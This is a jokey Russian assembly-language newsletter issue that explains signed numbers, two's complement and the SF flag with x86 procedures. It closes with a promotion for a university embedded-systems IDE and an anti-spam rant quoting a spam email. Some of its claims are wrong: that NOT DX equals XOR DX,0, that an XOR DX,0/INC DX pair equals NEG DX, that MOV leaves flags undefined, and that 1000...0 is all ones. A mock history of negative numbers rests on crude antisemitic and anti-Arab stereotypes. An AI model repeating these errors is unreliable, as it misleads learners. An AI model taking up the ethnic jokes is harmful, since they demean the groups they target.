Воробьёвы

(-:

БРЕДИСЛОВИЕ ОТ АВТОРА

Здрасте :))). Целых два месяца рассылки не было, да? Уж и отдохнуть нельзя, сразу же мылами забрасываете... "Где продолжение, где продолжение", блин... В очередной раз достали!! Поэтому пришлось таки взяться за задний ум своей головы и слабать очередную порцию низкоуровневого бреда... Рады??

Прежде чем мы начнем, обращаюсь ко всем тем, кто писал мне письма с почтовых ящиков на hotmail.com. Народ! На хотмаил письма от меня не уходят!! Как и на прочие сервера, ФИЗИЧЕСКИ находящиеся "в загранице". Так что если не получили ответа - не виноватая я!!

Такие дела...

А теперь вернемся к нашей низкоуровневой шизе :)))

Сегодня мы устроим разборку отрицательным числам :)

Поехали, и да пребудет с нами сила и трезвость ума...

DZ $ERRgI/O

НЕСКОЛЬКО ТУПЫХ ПРОЦЕДУРОК

Сегодня мы устроим разборку "отрицательным числам". Нефиг им!

Однако прежде чем строить всех сотрудников Интел на подоконниках, напишем несколько тупых процедурок, которые нам сегодня понадобятся:

Процедурка первая печатает на монитор слово (вовсе не из трех букв - (С) пьяный тинейджер Миша Атом, котрый "не курит", а слово как "показатель" размерности операнда):

    ;-[WRITE_HEX_WORD, V1]-------------
    ;Печатает шестнадцатеричное слово
    ;На входе: DХ - типа слово :))
    ;На выходе: нихрена
    ;Прерывания: ан нэту
    ;Процедуры: WRITE_HEX
    ;----------------------------------
    WRITE_HEX_WORD proc
      push DX
      xchg DL,DH
      call WRITE_HEX
      xchg DL,DH
      call WRITE_HEX
      pop  DX
      ret
    WRITE_HEX_WORD endp
Помницца мне смутно, что в выпуске 20-м #7 написание подобной процедуры было оставлено вам для "самостоятельной работы". И дан не совсем верный "алгоритм" (в данном контексте моя шаловливая рука не поднимается написать это слово без кавычек), о чем нам никто не удосужился сообщить; вот редиски, блин :(

[Аркадий]: В качестве оптимизации: после обоих xchg значение DX оказывается равным исходному, поэтому push/pop можно убрать ;)

И точно, нафиг push/pop тут не нужны! Вот он, низкоуровневый дZен: с одной стороны, значение регистра внутри процедуры меняется, значит push/pop нужен. И это правильно! Но с другой стороны - после этих всех изменений все же восстанавливается исходное значение... значит таки - не нужен :)). И это тоже правильно!

Как работает вышенакорябанная процедура, разбирайтесь сами. Там всего-то ничего - два раза по две команды...

Теперь вторая тупая процедура. Называется она "возврат каретки / перевод строки".

    ;-[CURSOR_CRLF, V1]----------------
    ;Возврат каретки, перевод строки
    ;На входе: пофиг
    ;На выходе: нихрена
    ;Прерывания: ан нэту
    ;Процедуры: CURSOR_READ, CURSOR_SET
    ;----------------------------------
    CURSOR_CRLF proc
      push DX
      call CURSOR_READ
      xor DL,DL
      inc DH
      call CURSOR_SET
      pop DX
      ret
    CURSOR_CRLF endp

Для особо одаренных расжевываю: читаем координаты курсора, ту координату что столбец - херим, ту, что строка - увеличиваем на 1. И устанавливаем новые координаты курсора. Всё!

- А вот тепеееерь... - говорю гробовым голосом...

ЗНАКОВЫЕ И БЕЗЗНАКОВЫЕ ЧИСЛА

#1. Прочитайте пункты 4 и 8 из прошлого выпуска, там где мы разбирались с флагами SF (знака) и OF (перполнения). Там мельком упоминались "знаковые и беззнаковые числа", "дополнительный код", "знаковый бит" и прочая дрянь... Так вот: именно с этой ДРЯНЬЮ мы сегодня и будем разбираться. Начнем, ессна, с медитации...

  1. Сделайте глоток пива и запустите стандартный виндозовский калькулятор calc.exe. Переключите его в инженерный (aka scientific) вид.
    Очень важно, чтобы это был ваш Первый Глоток Пива за день. Только тогда вы по-настоящему ощутите, как просыпается ваш измученный организм. Первый Глоток должен быть большим, а пиво должно быть холодным! Далее необходимо закрыть глаза и прислушаться к своим ощущениям. Если после вышеописанной процедуры вы сразу же услышите Глас Божий, то не пугайтесь - у вас еще есть шанс вылечиться, если вы вовремя обратитесь к дипломированному психиатру...
  2.   a. Убедитесь в том, что в вашем калькуляторе установлен флажок Dec (по-идее, до вас сразу же должно было дойти, что эти флажки - основание системы счисления, в которой щас собирается считать ваш калькулятор).
      b. Наберите число 1.
      c. Переключите флажок на HEX, чтобы перевести 1 из десятичной в шестнадцатеричную систему счисления. Что получилось? Дык ясный пень - 1 и получилось!
      d. Переключите флажок на BIN. Что получилось? Угу... Единица и в двоичной системе счисления единицей и останется.
      e. Переключите флажок на OCT. Ясное дело, и здесь все та же единица...
      f. Установите флажок на DEC и введите "в калькулятор" число -1 (минус-единица). Для самых одаренных подсказка: начала жмется кнопка [1], а следом за ней кнопка [+/-]. Когда в окошечке появится "-1", сделайте еще один глоток пива и повторяйте пункты с, d и e для минус-единицы до тех пор, пока до вас не дойдет, что: 1d = 1h = 1b, но -1d <> -1h <> -1b (не знаю, что по этому поводу думают математики, но с точки зрения "компьютерной арифметики" это утверждение ВЕРНО).
    [Аркадий]: Именно с точки зрения арифметики -1d=-1h, но хитрость в другом. Минус не является цифрой и поэтому для его интеграции в число требуется "особая форма" для представления, которая, если не учитывать её "особость", "извне" будет казаться набором беззнаковых чисел. И то, что _запись_ числа в "особой форме" в разных системах счисления смотрится по разному, вовсе не означает, что числа не равны если учитывать их "особость". А то ведь можно сказать, что 10d<>10h. И это действительно будет верно.
  3. Если на донышке первой бутылки еще осталась хоть капля пива - допейте и приготовте к употреблению следующую.
  #2. Отрицательные числа... своими кровавыми корнями уходят в глубокую библейскую старину, когда бородатый дядька Моисей водил евреев по голой и безжизненной пустыне в поисках...
  В поисках земли обетованной...
  - Дети мои! Давайте в этом оазисе остановимся! - грит Моисей на пятом году странствий.
  Принюхалась паства...
  - Нет, здесь воняет :(
  И пошли они дальше...
  - Дети мои! Давайте в этом оазисе остановимся! - грит Моисей на пятнадцатом году странствий.
  Принюхалась паства...
  - Нет, здесь воняет :(
  И пошли они дальше...
  - Дети мои! Давайте в этом оазисе остановимся! - грит Моисей на тридцатом году странствий.
  Принюхалась паства...
  - Нет, здесь воняет :(
  И пошли они дальше...
  И с тех пор у арабов - нефть, а у евреев - воняет.

Впервые понятие отрицательных чисел ввел умно-хитрый израильтянин Изя Харик, потомственный-экономист-в-седьмом-колене, который с целью минимизации затрат на ведение бухгалтерского учета сокращал в своих папирусах длинные и неэкономичные слова дебет и кредит до первых заглавных букв. Но однажды они с потомственной израильтянкой Сарой не поделили копеечку, которую она выкинула ему в окошко в качестве сигнала о том, что ее благоверный супруг пошел в трактир за пивОм (ца-ца). Сара утверждала, что это ее копеечка (муж утверждал, что больше копейки он бы за ночь с ней не дал; впрочем, Сара больше копейки никогда и не брала), а Изя утверждал, что если копеечка была выкинута в окно, то это уже ничья копеечка и согласно Закону принадлежит ея нашедшему и поднявшему. В общем, охваченных неожиданно вспыхнувшей страстью ("сплетенье рук, сплетенье ног, судьбы сплетенье"), они катались под окном Сариного дома и пыль Святой земли стояла вокруг них столбом...

Муж же Сары был потомственным израильтянином ажно 18-го колена и на мякине его провести было трудно. Еще с утра заподозрив неладное (из семейного буджета дома пропала копеечка), он вовсе не за пивОм пошел, а устроился с биноклем на противоложном конце улицы и все подсекал. Когда же утомленные страстью любовники расползлись по разным углам ринга и начали подсчитывать потери (Саре достался Изин парик, а в руках у Изи оказались Сарины силиконовые груди и он долго не мог въехать: че это фигня за такая), из-за угла вышел Сарин благоверный богобоязненный супруг, который к этому времени уже успел метнуться в синагогу и получить соответствующую индульгенцию ("убиение неверных благоверных, 2 шт. по 100 шеккелей за штуку, постоянным посетителям синагоги скидка 20 %"). В общем, как написал впоследствии известный израильский драматург Шеккельспир: "Нет повести печальнее на свете".

Племянник же расчлененного (эта такая более жестокая разновидность обрезания) Изи Харика, к которому после смерти дяди перешла лавка покойного, поначалу завалил все дело. К нему постоянно приходили нечестивые арабы и требовали отдать деньги, которые якобы одалживал покойный. Добропорядочный племянник естественно отдавал (что было вполне естественно, так как его пра-пра-пра-бабка была не совсем чистых израильских кровей), и арабов с каждым днем становилось все больше и больше. Когда же денег у племянника осталось совсем мало, он понял, что без записей покойного ему обеспечен полный мастдай пополам с джихадом. И тогда он пошел к дому Сары и после непродлжительных поисков в святой грязи (была осень и кислотные дожди щедро одаривали Святую Землю благодатной влагой) нашел папирус со всей дядюшкиной бухгалтерий. Однако дождевая вода, пересыщенная катионами CO2- и SO42- уже успела сделать свое грязное кислотно-щелочное дело и аккуратные столбики цифр оказались полустертыми... И если сами цифры еще можно было как-то различить, то символы, стоящие вверху столбцов, идентификации не поддавались. На месте буквы Д. вообще ничего не осталось, а вот вместо К. осталась всего лишь какая-то палка...

В общем, с тех пор и повелось у израильтян, что если кто-то кому-то че-то должен, то записывать эту цифру со знаком минус, что, в сущности, является не только ростовщическим извратом, но и вообще - насмешкой над всеми Законами Природы, ибо даже последнему русскому понятно, что ежели из пяти бутылок водки было распито шесть, то все, что останется после 12-й, неизвестно откуда взявшейся, - это полный ноль водки и дикая головная боль на следующее утро, а вовсе не абстрактная минус-единица...

[Аркадий]: История, конечно, занятная, но появились отрицательные числа действительно далеко не сразу и не так просто. Что там говорить, если нуль тоже появился не сразу и ещё Евклид в своём "алгоритме" нахождения наибольшего делителя "пытался" обойтись без него.
  Однако вернемся к нашим "баранам"...

#3. Увы, но вовсе не компьютерщики создавали сей грешный мир. Увы, но сначала появился русский язык и только потом - 866-я кодовая страница. Увы, но сначала народ научился считать в десятичной системе счисления и только потом появились компутеры, оперирующие в двоичной системе счисления...

В общем, есть такой изврат как отрицательные числа и хош не хош, но должны компутеры уметь работать с этими числами...

Вот и давайте разбираться с этой дрянью...

Что мы имеем? Регистр длинною в слово (16 бит), в который мы можем записать число от 0 до FFFFh, то есть 65536d "штук чисел", от 0 до 65535d. С точки зрения математики они, безусловно будут положительными. С точки зрения компутерной арифметики - беззнаковыми, то есть не имеющими знака. В самом то деле, если нам нужно выполнить цикл энное количество раз, разве можем мы сказать плюс-столько-то либо минус-столько-то??

А вот для некоторых математических операций (например, бухгалтерских дебетно-кредитных - см. #2 ;) нам без отрицательных чисел ну никак обойтись нельзя... То есть приходится нам каким-то изощренным образом в регистр не только число запихивать, но еще и ЗНАК этого числа :(.

Так вот: если мы хотим в какой-нить нашей программе работать как с положительными, так и с отрицательными числами, то придется нам половину из достопнуго "количества чисел" считать положительными, а половину - отрицательными. То бишь 65536 делим на два и получаем по 32768 штук чисел "на знак". Число 0, которое вроде и не минус и не плюс, задним числом относим к ПОЛОЖИТЕЛЬНЫМ числам ;).

[Аркадий]: Скорее уж к "неотрицательным".
Далее возникает вопрос о том, каким образом в последовательность из 16-ти штук бит записывать ЗНАК ЧИСЛА. Здесь создатели первых процессором велосипеда не изобретали (велосипед с 16-ю треугольными колесами они изобрели позднее - в следующем выпуске рассылки мы расскажем вам про стрррашные упакованные и неупакованные BCD-числа): за ЗНАК ЧИСЛА они стали считать СТАРШИЙ бит из 16-битной последовательности (что вполне логично, так как "на бумаге" знак мы записываем СЛЕВА от числа, а не справа и уж тем более не между самими цифрами). То есть:
  1. С ОДНОЙ И ТОЙ ЖЕ последовательностью БИТОВ мы можем работать как:
    • с БЕЗЗНАКОВЫМ ЧИСЛОМ. В этом случае мы можем "впихнуть" в слово любое число от 0 до FFFFh (65535d).
    • cо ЗНАКОВЫМ ЧИСЛОМ, в котором роль знака играет СТАРШИЙ БИТ:
      • если старший бит УСТАНОВЛЕН, то число СЧИТАЕТСЯ ОТРИЦАТЕЛЬНЫМ,
      • если старший бит СБРОШЕН, то число СЧИТАЕТСЯ ПОЛОЖИТЕЛЬНЫМ.
  2. С беззнаковыми, тут и ежу понятно, а вот на счет ЗНАКОВЫХ подсчитать нетрудно, что:
    • числа в диапазоне от 0 до 7FFFh - ПОЛОЖИТЕЛЬНЫЕ,
    • числа в диапазоне от 8000h до FFFFh - ОТРИЦАТЕЛЬНЫЕ.
  3. Все в мире есть суета сует и бессмысленное томление духа :(
  4. Вписать желаемое (...).
    • Си лучше АСМа
    • Си сосёт, АСМ рулит
    • VC++ сосёт, Delphi рулит
    • Serrgio мудак
    • Serrgio рулит
    • Модератор уснул
    • А ты вообще молчи, ламер!
    • Да-да, я к тебе обращаюсь.

Те, кто не является мемберами RTFM_Helpers, над пунктом 4 могут не медитировать...

Икъ...

#4. Со знаком, надеюсь, разобрались :)

ПОЛОЖИТЕЛЬНЫЕ знаковые числа нам легко перевести в десятичную систему счисления. Старший бит, который СБРОШЕН, говорит нам о знаке числа. Оставшиеся 15 бит - это само число, которое мы можем перевести в DEC точно таким же способом, каким переводили БЕЗЗНАКОВЫЕ числа.

ОТРИЦАТЕЛЬНЫЕ числа перевести в DEC немного сложнее. Старший бит, который УСТАНОВЛЕН, говорит нам о знаке числа, а вот чтобы из оставшихся 15 бит выщемить само число, тут уж приходится извращаться... И да помогут вам разобраться с этим извратом следующие три пункта:

  1. Есть такая фигня, как явление "оборачиваемости"
    [Аркадий]: Модульности. Это называется модульная арифметика.
    • Если последовательно УВЕЛИЧИВАТЬ значение регистра (акромя сегментных) либо какой-нить ячейки памяти, то, достигнув возможного предела и "перевалив" через эту "границу", число станет равным нулю и продолжит наростать c нуля, то есть:
      FFFFh + 1 = 0
    • Если последовательно УМЕНЬШАТЬ значение регистра (акроме сегментных) либо какой-либо ячейки памяти, то число, после того как достигнет нуля, далее станет равным FFFFh и прожолжит убывать с этого самого FFFFh, то есть:
       0 - 1 = FFFFh
    Из этого утверждения, между прочим, следует, что нежели нам стукнет в голову последовательно наращивать смещение в каком-нить сегменте данных (ну например, при работе с массивами) то при переходе через "границу" БЕЗЗНАКОВОГО представления чисел, то мы начнем адресовывать ячейки НЕ ЗА ПРЕДЕЛАМИ сегмента данных, а из самого его НАЧАЛА.
  2. Нижеследующие две таблички сплагиачены не скажу из какого учебника ("б/з" означает беззнаковый, а "зн." - знаковый):

    • HEX   DEC б/з DEC зн.
      ====  ======= ======
      0000  00000   +00000
      0001  00001   +00001
      0002  00002   +00002
      0003  00003   +00003
       ...   ...     ...
      7FFD  32765   +32765
      7FFE  32766   +32766
      7FFF  32767   +32767
      8000  32768   -32768
      8001  32769   -32767
      8002  32770   -32766
       ...    ...    ...
      FFFC  65532   -00004
      FFFD  65533   -00003
      FFFE  65534   -00002
      FFFF  65535   -00001
      
    • HEX   DEC б/з DEC зн.
      ====  ======= ======
      00    000     +000
      01    001     +001
      02    002     +002
      03    003     +003
      04    004     +004
      05    005     +005
       ...   ...     ...
      7D    125     +125
      7E    126     +126
      7F    127     +127
      80    128     -128
      81    129     -127
      82    130     -126
      83    131     -125
       ...   ...     ...
      FB    251     -005
      FC    252     -004
      FD    253     -003
      FE    254     -002
      FF    255     -001
      
      Ну да :). Проц же у нас не только со "словами" работать могёт, но и с байтами. Следовательно заморочка со старшим ЗНАКОВЫМ битом и для байтов "работает" ;)
  3. Цитирую все ту же замороченную книжку: "Отрицательные числа записываются в дополнительном коде, который образуется из прямого путем замены всех нулей единицами и наоборот (обратный код) и прибавления к полученному числу единицы":
    Прямой код числа 5 (+5!):         0000 0000 0000 0101
    "Обратный" код числа 5:           1111 1111 1111 1010
                                                       +1
    -----------------------------------------------------
    Дополнительный код числа 5 (-5!): 1111 1111 1111 1011
    
[Аркадий]: Я бы рекомендовал другой порядок: от 7FFF к 0 и от FFFF к 8000 (или наоборот), таким образом показывая момент перехода от 0 к FFFF (или наоборот).

Однако, какой изврат!

#5. Итак, основательно помедитировав над вышеуказанными выражениями и табличками, принимаемся писать процедуру WRITE_SIGNED_DECIMAL, которая:

  1. Считает "цепочку битов", передаваемую через регистр DX, ЗНАКОВЫМ числом.
  2. Печатает на монитор ЗНАКОВОЕ число в десятичной нотации:
    • если число положительное, то печатается "просто число" (без знака "+");
    • если число отрицательное, то печатается число и слева от числа знак "-".
;-[WRITE_SIGNED_DECIMAL, V1]--------
;Печатает знаковое десятичное число
;На входе: DХ - число
;На выходе: нихрена
;Прерывания: ан нэту
;Процедуры: WRITE_DECIMAL
;-----------------------------------
WRITE_SIGNED_DECIMAL proc
  push DX
  test DX,1000000000000000b ;(1)
  JS MINUS                  ;(2)

 PLUS:
  call WRITE_DECIMAL        ;(3)
  jmp FINISH
 MINUS:                     ;(4)
  push DX                   ;(5)
  mov DL,'-'
  call WRITE_CHAR
  pop DX                    ;(6)
  not DX                    ;(7)

  add DX,1                  ;(8)
  call WRITE_DECIMAL        ;(9)
 FINISH:
  pop DX
  ret
WRITE_SIGNED_DECIMAL endp

Итак, расгребываем...

Мы имеем цепочку из битов и собираемся относиться к ней как к ЗНАКОВОМУ числу:

  • Если старший бит СБРОШЕН, то "печатается" это число точно таким же образом, как и беззнаковое, то есть при помощи уже написанной нами ранее процедуры WRITE_DECIMAL. (Посмотрите на метку PLUS и на бряк 3).
    Тут один товарищ высказался, что какого хрена мы процедуру не заоптимизировали. Видете-ли, в сорце присутствует метка PLUS, на которую отсутствует какой-либо джамп. Безобразие, мол! Лишние байты на метку уходят! Бред!!! Однако, по этому поводу прикол вспомнился: препод по информатике сделал студенту замечание, что у него корявые метки в программе. Типа кулпрограммер должен метки не буквами A, B, C обзывать, а делать "длинные мнемонические идентификаторы". Ну студент и прикололся, в следующей контрольной сделал такие метки: DlinnijMnemonichesckijIdentificatorTipaMetki_A, DlinnijMnemonichesckijIdentificatorTipaMetki_B, DlinnijMnemonichesckijIdentificatorTipaMetki_C :))) Мораль такова: типа хорошая метка с правильным именем облегчает работу с сорсом.
  • Если старший бит УСТАНОВЛЕН, то сначала генерим "дополнительный код" числа, и затем, предварительно влепив перед числом значок "-", "пропускаем" наш "дополнительный обратный код" через всю ту же процедуру WRITE_DECIMAL.
    • Сам значок "-" лепим. Инструкции между бряками 5 и 6 ВКЛЮЧИТЕЛЬНО вы поймете без труда ;)
    • На бряках 7 и 8, собственно, само получение "обратного дополненного кода". Сначала ИНВЕРТИРУЕМ биты командой NOT (из 1 делает ноль, а из 0 - единицу), затем к полученному значению прибавляем еще и единицу.
    • Ээээ... отрицательное число готово к употреблению процедурой WRITE_DECIMAL (бряк 9).

Вот. С двумя "моделями поведения" определились :). Теперь займемся более нервной задачей - каким это извращенным способом нам организовать прыжок на метку MINUS, если старший бит в нашем числе установлен? Если вы основательно покапаетесь в описании различного рода ПРЫЖКОВ, то рано или поздно натолкнетесь вот на какую команду:

JS <метка>

Эта команда "делает прыжок" если ФЛАГ SF УСТАНОВЛЕН!!

Внимательный читатель наверняка помнит, что в прошлом номере мы рассматривали флаги с точки зрения ИЗ-ЗА ЧЕГО они устанавливаются, то есть какая СИТУАЦИЯ приводит к УСТАНОВКЕ того или иного флага. К ответу же на вопрос ЗАЧЕМ нужны энти флаги, мы будем подходить постепенно :). Надеюсь, после сегодняшнего выпуска вы уже не спросите "зачем нужен флаг SF" ;)

Да, но тут еще одна загвоздка :(. Ассемблерные команды в отношении флагов ведут себя по-разному :(. Некоторые устанавливают флаги, некоторые сбрасывают, а некоторые вообще оставляют флаги НЕОПРЕДЕЛЕННЫМИ. Поэтому тут надо быть осторожным :). Например, если мы напишем

 mov DX,0FFFh
 JS MINUS
PLUS:
 ...
MINUS:
 ...

то черта с два JS нас перебросит на метку MINUS! Потому что команда JS вовсе не старший бит регистра проверяет (это было бы неэкономично, учитывая, что регистров у нас множество), а ПРОВЕРЯЕТ ФЛАГ! Есть ФЛАГ - есть ПРЫЖОК! НЕТ ФЛАГА - НЕТ ПРЫЖКА!

Команда же MOV - она никаких флагов вообще не проставляет. Вот табличка из книжки, если кто сомневается:

OF SF ZF AF PF CF
?  ?  ?  ?  ?  ?

Видите? Сплошные вопросительные знаки! Для тех же, кому и книжки не авторитет (что, кстати, совершенно правильно!) - проверьте под отладчиком ;) и да пребудет с вами сила.

Так как же нам все таки установить этот флаг в том случае, если старший бит действительно установлен? Для этого нам нужно:

  • использовать команду, которая в зависимости от РЕЗУЛЬТАТА устанавливает либо снимает флаг SF
  • позаботиться при этом, чтобы наше исходное число осталось неизменным.

Порывшись в справочнике со всевозможными процессорными командами, вы найдете целую простыню команд, которые удовлетворяют этим условиям:

  • xor <число>,0
    Ну ка, товарищи программеры, подумайте, че будет, если мы любую последовательность битов заXORим с нулем? ;)
  • cmp <число>,0
    А чем, соббна, этот вриант плох? Типа отнимаем от числа 0, но РЕЗУЛЬТАТ ни в какой из регистров не суем, а только устанавливаем соответствующим образом флаги ;). Как? Вы не знаете, что CMP - это обыкновенное ВЫЧИТАНИЕ, при котором флаги устанавливаются в зависимости от РЕЗУЛЬТАТА, а сам результат пропадает без вести?? А о том, что A-0=A из школьного курса арифметики помните? И то слава богу...
  • test <число>,1000000000000000b
    Сия команда делает воистину страшное - выполняет ЛОГИЧЕСКОЕ УМНОЖЕНИЕ, только результат никуда не записывает, а просто устанавливает флаги...
    [Аркадий]: Не пугайте людей! Во-первых, "логическое умножение" здесь используется для выделение заданных битов (именно так и нужно говорить). В данном случае - старшего. А поскольку остальные нас не интересуют, мы можем использовать любую маску с установленным старшим битом.
    Во-вторых, вы забыли про and dx,0ffffh и or dx,0.
    В-третьих, забыли про более "экзотический" (и короткий) вариант(ы) - or dx,dx; and dx,dx; test dx,dx.

Естественно, на свой страх и риск вы можете использовать любую из вышеприведенных команд, но лично мне нравится именно последняя :).

Итак, мы будем иметь дело с командой TEST, которая выполняет ЛОГИЧЕСКОЕ УМНОЖЕНИЕ операндов, выставляет в зависимости от результата ФЛАГИ, а сам РЕЗУЛЬТАТ нигде не сохраняет.

Логическое умножение - это обыкновенная команда AND (ака И-логическое). Вот таблица истинности для AND:

   0 1

0  0 0
1  0 1

То есть бит результата равен 1 только если СООТВЕТСТВУЮЩИЕ биты операндов равны 1, во всех же остальных бит результата будет равен 0. Практически это означает, что если мы будем "логически умножать" любую последовательность битов на число 1000'0000'0000'0000 (одни единицы), то мы получим 0, если ЛОГИЧЕСКИ УМНОЖАЕМОЕ число имеет в старшем разряде 0 (пофиг, что в остальных разрядах единицы - все равно получится 0); если же число в старшем разряде имеет 1, то получим 1000'0000'0000'0000 со всеми вытекающими отсюда последствиями в виде установки флага SF.

A вот и табличка из справочника - посмотрите на какие флаги влияет AND (точно так же себя в этом отношении ведет и TEST):

OF SF ZF PF CF
0  r  r  r  0

Буковку R видите? Она означает, что флаг устанавливается в зависимости от результата :)

При организации нашего прыжка на что интересует? Только СТАРШИЙ БИТ (читай: флаг SF)! Поэтому и с 1000'0000'0000'0000 ANDим. Можно было бы и с 1111'1111'1111'1111, тогда бы SF тоже установился бы, однако нахрена нам еще и другие флаги попусту дергать?

[Аркадий]: А они дёргаться будут в любом случае.

Естественно, если бы мы хотели выщемить другой байт, то вторым операндом у нас было совершенно другое число...

Медитируйте, если еще не допили все свое пиво.

Если уже допили, то бегите в магазин и только потом читайте дальше ;)

#6. А вот вам и дополнительная информация для полета мысли:

  • ADD DX,1 с легкостью мона заменить на INC DX
  • NOT DX с легкостью мона заменить на XOR DX,0
  • а сладкие парочки:
    NOT DX
    ADD DX,1
    
    и
    XOR DX,0
    INC DX
    
    вообще заменяются одной-единственной командой NEG DX

- А почему же, - спросите вы. - Мы сразу же не написали КАК ПРАВИЛЬНО?
- А потому что, - ответит вам Serrgio. - Наша рассылка называется не просто НИЗКОУРОВНЕВОЕ ПРОГРАММИРОВАНИЕ, а НИЗКОУРОВНЕВОЕ ПРОГРАММИРОВАНИЕ ДЛЯ ДZНСТВУЮЩИХ.

А затем он допьет свое пиво и прикроет лавочку...

И да пребудет с вами Сила, братья!!

N.I.T. LABS ПРЕДСТАВЛЯЕТ

А теперь я вам расскажу обалденный рецепт
ловли снегирей для тех, кто хочет быть по-
хожим на Железного Шварца: Берем снегиря
вчерашнего и садим его в баночку из-под
анализов. Тут же к нему слетается огромадная
стая снегирей завтрашних, желающих узнать,
куда снегирь вчерашний подевал этого сукиного
сына снегиря сегодняшнего. И пока снегирь
вчерашний отплевывается от сдачи анализов,
тихонечко подкрадываемся и накрываем
банку буденовкой... (C) Красная Плесень

А теперь я вам дам уникальный рецепт создания сред разработки программного обеспечения встроенных цифровых систем, настраиваемых на целевую архитектуру. Итак:

  1. Берем "встроенную цифровую систему" определенной "архитектуры". Если в вашем железе оная отсутствует, то предварительно "цифровую систему" необходимо надлежащим образом "встроить" ;)
  2. Озадачиваем нашу "встроенную цифровую систему" какой-либо целью, дабы впоследствии мы могли с чистой совестью оперировать понятием "целевая архитектура".
  3. Предварительно обработав "встроенную цифровую систему" С2H5OH, погружаем ее в стерильную емкость типа посуды и далее, строго соблюдая очередность (кто ж это сначала закусывает, а потом пьет?), добавляем следующие windows-совместимые компоненты:
    • 100 г. масмов
    • 200 г. вижласмов
    • 20 г. сайсов
    • 15 г. ид (октябрьских; при отсутствии оных - не менее 30 г. сорсеров)
    • доводим но объема 500 мл. различного рода кроссассемблерами
  4. Полученную смесь ставим в Куб Хорадрима, герметически запаиваем и закапываем на глубину не менее 1.5 метров в благодатную землю Гомельскую, где различного рода радиоактивные изотопы сделают весьма полезное с точки зрения эволюционной теории Дарвина (был программист такой) дело.
  5. В течение 13 недель ежедневно в полночь ;) стимулируем происходящие в Кубе Хорадрима процессы путем жертвоприношений (сжигание под ульрафиолетом нелицензионных дисков с Windows XP и С#), и многократных окуриваний ASP-протектом (для этих целей пригоден только лицензионный, честным обпразом за бабки купленый ASP-протект).
  6. По истечение указанного срока совершаем массовую группо... тьфу... массовое групповое моление великому Рэндому, оптом закупаем индульгенцию на всех участников проекта (а вдруг рванет!!) и... и... ("брюки превращаются, превращаются... превращаются...")... В общем, налаживаем на себя крестное знамение в виде форточки и - откапываем...

WInter - Cреда разработки программного обеспечения встроенных цифровых систем, настраиваемая на целевую архитектуру.

Включает в себя:

  • настраиваемый многофункциональный редактор с подсветкой синтаксиса
  • макро-ассемблер, обладающий высокой скоростью компиляции
  • линкер
  • для некоторых процессоров есть Си компилятор
  • при компиляции подсвечиваются в окне редактора строки с ошибками
  • cреда позволяет вести отладку программы с использованием модели процессора (следовательно ошибки в отлаживаемых программах не приведут к краху системы)
  • для симуляции внешних воздействий есть модели периферийных устройств
  • можно подключать свои ассемблеры, компиляторы и линкеры.
  • cреда сносно работает на машине типа: i486, 100mHz, 24mB, Win95
  • высокая скорость симуляции программ (измеряется в миллионах инструкций в секунду на ПК типа Pentium, 500 МГц, 128 Мгбт)
  • имеются модели процессоров Intel 8051/86, Atmel AT90S2313/23, Microchip PIC17C4X, Motorola 68HC05/08, Texas Instruments TMS370
  • бесшовная интеграция с системой симуляции аппаратного обеспечения HLCCAD

NIT Labs есмъ:

Научно-исследовательское подразделение, организованное совместно информационно-вычислительным центром и математическим факультетом Гомельского государственного университета им.Ф.Скорины.

"Кардинал и Галантерейщик - это сила!! Вместе мы спасем Францию!"

Основной контингент сотрудников NIT Labs составляют аспиранты и студенты математического факультета, а также молодые сотрудники информационно-вычислительного центра.

Хочу в ТАКУЮ аспирантуру!! Возмете? ;)

Основная цель NIT Labs - способствовать творческому развитию сотрудников NIT Labs вплоть до уровня исследователей и разработчиков мирового уровня в области разработки программного обеспечения, аппаратных средств и новых информационных технологий.

Во! За это надо руку жать! Абсолютно правильная цель - поднимать-и-раскручивать себя-любимых! Я не иронизизирую. Просто как щас помню найденный в инете автореферат диссертационной работы на тему "Использование гипертекстовых страниц HTML в разработке баз знаний сельскохозяйственной направленности c целью минимизации затрат основных средств на проектирование севооборота" (во цель! сельское хозяйство страны поднимать при помощи гиперссылок!!)

Области основных научных интересов NIT Labs: автоматизация совместной и автономной разработки аппаратного и программного обеспечения встроенных цифровых систем; дистанционное обучение; сетевые технологии...

Я долго думал, че бы это тут в комментарии дописать, да так и не придумал. Вполне здоровые интересы! К этим бы интересам добавить еще и женский пол, пиво и завернутую готическую музыку... Но так ведь сказано же НАУЧНЫХ интересов, а не абы каких. Хотя... это смотря с какой точки зрения к женщинам подходить. Если некоторые товарищи считают _это_ спортом, то почему бы не подойти к этому _явлению_ с чисто научной точки зрения? Ха! Я уже знаю о чем будет СЛЕДУЮЩИЙ выпуск рассылки ;))))))

Особо заинтересовавшиеся могут попробовать посетить их сайт: http://newit.gsu.unibel.by/ (и да пребудет с вами сила...)

АКЦИЯ "ПРОГРАММЕРЫ ПРОТИВ СПАМА"! МОЧИМ ЗАСРАНЦЕВ!

А вот интересно, глубокоуважаемые читатели, что вы делаете, если на ваш почтовый ящик ежедневно сваливается пяток-другой писем приблизительно следующего содержания:

======================================================
    ...
    Вам предлагается продукт, с помощью которого,
СОВЕРШЕННО ЛЕГАЛЬНЫМ СПОСОБОМ, Вы сможете увеличить
свой доход до $5000 в месяц. При этом Ваши вложения
составят НЕ БОЛЕЕ $50!
    Можно, также, получать доход и от рекламы данного
продукта, учитывая, что Интернет-аудитория составляет
миллионы ПОТЕНЦИАЛЬНЫХ  КЛИЕНТОВ и их число БУРНО
РАСТЕТ! Здесь даже при самой мизерной вероятности
ответа 0,1% при количестве опрошенных респондентов
100000 и более ДОХОД может составить от $2500 и БОЛЕЕ!
   Сам по себе предлагаемый продукт работать не
будет. Им надо научиться пользоваться. Но самое
главное здесь - ОН РАБОТАЕТ!
   Более подробно о самом ПРОДУКТЕ можно посмотреть
по адресу  http://zor.org/qcmarket. Особенно раздел FAQ.
   При переписке в поле "Тема" указывайте "Получено
от Сергея". Это необходимо для ускорения обработки
информации и отправления ответа.
   ...
======================================================

Варианты ответа:

  • Рассыпаюсь в благодарностях за предоставленную уникальную информацию и прошу выслать дополнительную (диагноз: слабоумие).
  • Удаляю, прочитав первую строчку (увы, но именно так, смиренно, и поступает подавляющее большинство).
  • Пишу ответ, где "прохожусь" по всей предпологаемой родословной отправителя и попутно объясняю, что спам - это очень не хорошо и что в развитых странах за это бьют по морде.
    Именно так и поступал автор данной рассылки, в результате чего его мыл навеки вошел в историю, в чем можно убедиться, сходив по ссылке http://www.grandspam.net/rus/black/index.shtml :((
  • Пытаюсь выщемить провайдера, через которого засранец прислал это письмо, и задействовать "антиспамовую полицию".
